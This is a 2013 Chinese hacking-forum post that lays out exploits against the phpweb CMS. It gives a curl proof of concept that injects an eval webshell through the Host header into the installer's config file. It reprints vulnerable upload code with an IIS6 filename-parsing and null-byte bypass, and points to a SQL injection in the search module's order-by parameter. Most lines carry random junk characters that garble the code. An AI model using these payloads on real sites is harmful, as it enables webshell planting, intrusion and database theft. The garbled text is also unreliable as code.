找回密码
 立即注册
查看: 2904|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:& h) _% D; `8 H/ j* @) @1 L: V1 p

, X0 T1 E- |2 `之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码: G$ {* f% Z7 R* x1 u. A

! R7 s8 V# K( K2 k; A鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
& S$ y1 _( W+ X' k5 B: f) M鸡肋2: 有一定安全常识的站长都会删掉 install 目录6 W. d% s& k1 D$ W  `: g

& l: I" V: l8 l虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响. l$ @  z3 ^/ e! q$ {) p
. k/ i. w7 j9 A5 w- q
分析:, E8 Q! e9 W% V' K+ }* d9 ]0 @
* ]; S" s. c1 ~( J; a7 w
- O5 o$ E& G: q: f, U
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤# {; m# ?( k& [: ~, I: E. W  o
1 n! Z( F8 r9 U9 a: R
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
% K0 x* p; o# {6 w                                            $filestr=str_replace(" ","",$filestr);  z! ]+ w1 o% C5 y
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
9 x% c6 L3 x7 y, _& y& R6 c$ }                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
. d9 l/ Z$ \4 K4 U! d                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
2 k7 n; N% y8 v3 r, d                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);8 g8 _, \. Y  [# H% e
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);  |. V, q9 x# [- @/ q
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
7 ]: |  |4 [' o; F" Q+ m                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
: q0 x- N% e" n, v, X- o" d2 N9 f
7 c- x! e$ U+ ?: `  M                                            fwrite(fopen($ConFile,"w"),$filestr,30000);, |* R4 R/ ]9 F& Q
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
5 z8 w% z; P$ u4 h  X9 p* X # r/ y) R9 {5 H
poc:* J! |/ ~) [' V8 ]- j
! x- U+ L, ^* `! l
?
' u4 `4 w! v/ _4 ~* x7 |$ ~1
' j6 @  T+ X9 z# \/ ucurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"& C- ]4 {; \. q+ K  m5 {  T
shell地址: /config.inc.php* b1 A  R$ m" V8 H; f# Z
跟之前的 phpcms一样 需要远程数据库
! ?2 _$ p0 r) i+ G
, v7 ^3 g' J+ k! k% P——————————————————–
8 [- [  F( N  l9 P% q9 m9 P# b$ T上传漏洞(需要进后台):. B- E6 J0 a! x, ^% a$ j( |! N
漏洞文件: /kedit/upload_cgi/upload.php
5 k' I% D, z: r. l' }6 i& _这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
/ `0 u& y) T  e) _1 B/ T
7 Q3 j& i4 I3 |/ Z7 j
2 x9 {) ]2 k" e; y! F<?php
' r3 h8 c4 `; g% j$ x) e! I    define("ROOTPATH", "../../");- e% C+ R5 v9 _
    include(ROOTPATH."includes/admin.inc.php");3 a. T% V4 G0 v: f  i
    NeedAuth(0);% L' f5 l. [7 Z
3 p* Y" T* _4 y7 Y" |9 _8 H" G0 r
    $dt=date("Ymd",time());
% L$ S9 J' `1 k+ G    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){( r, H4 R8 w: t, D( x
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
2 v4 }5 |$ q; }+ |' b. a    }, ~7 e7 {' \: S/ V" l

* {) s: ^0 Z; t( d! q    //文件保存目录路径
  C9 `3 f; d% q, r6 [  L$ a    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';5 \: ]9 q) u& P3 T, d% Z% E& ~" j
    echo $save_path;: q6 g  K0 O+ O3 o* A! J
    //文件保存目录URL. d6 {7 e4 T8 |# M* n
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
( O; N7 R( d4 I : O- d( u# J( e7 F9 ^
    //定义允许上传的文件扩展名
  ~3 W' W) f# H/ _) O6 f" q    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀* |2 J8 K9 `4 O8 M
" j/ Q+ d3 Q$ t+ g# [' c2 B9 I
    //最大文件大小2 d% Y* l1 g: C3 U% a; A
    $max_size = 1000000;  P' I1 u/ f* ]3 _! b  t
. r! a5 A; y+ q: x1 W7 X
    //更改目录权限1 `( ^: g' b5 L3 D3 G- n. m' X
    @mkdir($save_path, 0777);
5 i1 ~" n2 a6 \7 k. S ! E& {; q& G9 b! w2 F+ x# X
    //文件的全部路径
6 x/ b4 s8 H6 U5 V    $file_path = $save_path.$_POST['fileName'];   //保存文件名
( B& }$ H5 |3 Q: c1 A
, H! f: z% L/ a- Q# h    //文件URL" R5 t0 R+ q- e. {$ ?$ w! K
    $file_url = $save_url.$_POST['fileName'];! K$ [5 u) U0 X' E
//有上传文件时, Z8 V* v' T' [2 N/ q/ x9 t
    if (empty($_FILES) === false) {+ ?: A- \( J$ I# _6 e( r, G: I
( N9 `) D4 U; C
            //原文件名+ J5 U5 |) z4 r! x5 o4 P+ S# A* T) @
            $file_name = $_FILES['fileData']['name'];' }- J% |) c& D, N
            //服务器上临时文件名
3 r/ x9 N7 x; Q% k            $tmp_name = $_FILES['fileData']['tmp_name'];8 K: h  n7 k* ]% K' I8 s
            //文件大小
2 G4 G$ l- [$ k6 ^8 D7 q/ y            $file_size = $_FILES['fileData']['size'];6 U( ~6 m+ y4 H0 ~' q
            //检查目录  P$ W/ o1 P6 X* W4 I
            if (@is_dir($save_path) === false) {
& h* [  Z$ V) c: G( A' n4 U2 b2 |9 f                    alert("上传目录不存在。");3 o9 c$ i% }$ x  l5 s% [
            }
! R. R, p$ I  v' A2 K3 S0 s            //检查目录写权限
. c) p+ G- ?2 g0 o" p; D; K0 c" M            if (@is_writable($save_path) === false) {
2 M5 n( M* t6 H( q9 j+ W% v                    alert("上传目录没有写权限。");/ M7 p8 S% m/ B) R
            }
+ b4 y. q. K4 ^& C# S0 _( E" G            //检查是否已上传7 t* ^. `! k9 w' p% ?5 D; N
            if (@is_uploaded_file($tmp_name) === false) {
7 S( W. ?* ]. l1 v( s                    alert("临时文件可能不是上传文件。");
* Y- l6 P. d  m" e            }
  S! ?; ]8 C/ S* h. Z$ J) S$ P* O            //检查文件大小9 ~6 Q% }! s7 w, D5 n* D/ c" Z
            if ($file_size > $max_size) {
4 L4 O. I% d2 o5 U$ b                    alert("上传文件大小超过限制。");6 s3 J! z5 i+ n: |- N
            }4 }8 z8 ~* Q; |/ i! G
            //获得文件扩展名
& @4 b" ]$ f- p0 S            $temp_arr = explode(".", $_POST['fileName']);
/ T5 w7 l  _, J! k1 E            $file_ext = array_pop($temp_arr);) N! T4 z1 [9 t. i
            $file_ext = trim($file_ext);
/ z3 D. j  h/ O9 Y+ v5 l            $file_ext = strtolower($file_ext);
) t9 G# ~+ Z$ |
3 r1 b5 ^/ O# w8 X' ]            //检查扩展名   
' {$ U( n! [4 X9 D  M/ }            if (in_array($file_ext, $ext_arr) === false) {     
: f9 z4 {+ V. ]; s$ e                    alert("上传文件扩展名是不允许的扩展名。");. d! N8 Q' V; k8 [7 q: e% r7 k; ^
            }3 c' T: d- ], Y3 W' ?1 j2 C

/ O/ h( a" G: D4 x& z            //移动文件   
0 ]" \& f. S5 S+ S' ~; G+ g( X- \            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
' F4 T3 D; c# s. C3 h7 W            if (move_uploaded_file($tmp_name, $file_path) === false) {+ X% a2 N# M- Z3 [
                    alert("上传文件失败。");
1 f; l( ^. W8 P( _  [, ?* u            }
6 k# T% _! n! H' ?2 [ 6 F0 ^1 a6 Q8 {7 ?
            @chmod($file_path,0666);" I* c; {3 [) F4 u6 y

2 N4 c6 I6 v7 @" n+ |) T5 f0 C    ?>
+ s. X: g  C2 H5 w, u* X9 W' D4 X抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2272 h' A  s# H+ a$ c* _% v) }0 v
0 N" s) D2 i6 B3 G; A8 m; z
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过0 ?2 b5 l. B( r2 }7 \6 |
/ q) w9 Y" e5 G- z- _/ a) p6 R. A
——————————————————6 i# l( z# L" R
注入漏洞:# i- y  d. p) A- P3 p
漏洞文件:search/module/search.php
" |2 O5 K3 @* }6 R: t5 k4 l- _/search/index.php?key=1&myord=1 [sqlinjection]
3 I- }  D9 q/ @( n" M5 d ( O; s+ k. w) @
# Y/ {  l6 [" O+ A3 p1 X
<?php
6 r# j8 V9 \6 p2 Z% o+ `& u# h* \( D$ \  f   //       ... 省略 n 行...
4 @0 I4 l( n( t" [" p   //第18行:
1 Y6 i4 w  |. l$ u! T( u5 x- H           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响* \* A( e- ^: E* T2 T
           $page=htmlspecialchars($_GET["page"]);3 m0 ~+ p9 ]2 h$ B* C
           $myord=htmlspecialchars($_GET["myord"]);* S( }3 h& h. L4 M5 z
$ j5 i: V8 ?/ T4 S) c" g5 c# r
   //       ... 省略 n 行...
* v( l% u! f  k$ s6 N   $key,$myord 两个参数带入查询  g. |4 f4 r9 w6 g
   //第47行 $key:
2 M  o" T1 t( G) A' J 4 _1 J/ M! k' S) z  B
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
$ X9 N  P$ ^9 ] $ d/ D) ^" J1 j5 Z& P6 G& f, m
   //第197行 $myord
( F/ Q& h. M0 {, I   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
/ H( v2 r, }3 q; u- n6 N- q  @
# G( W3 s6 O3 v. j/ j! i" W   ?>
/ B: P4 X) R0 j- I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表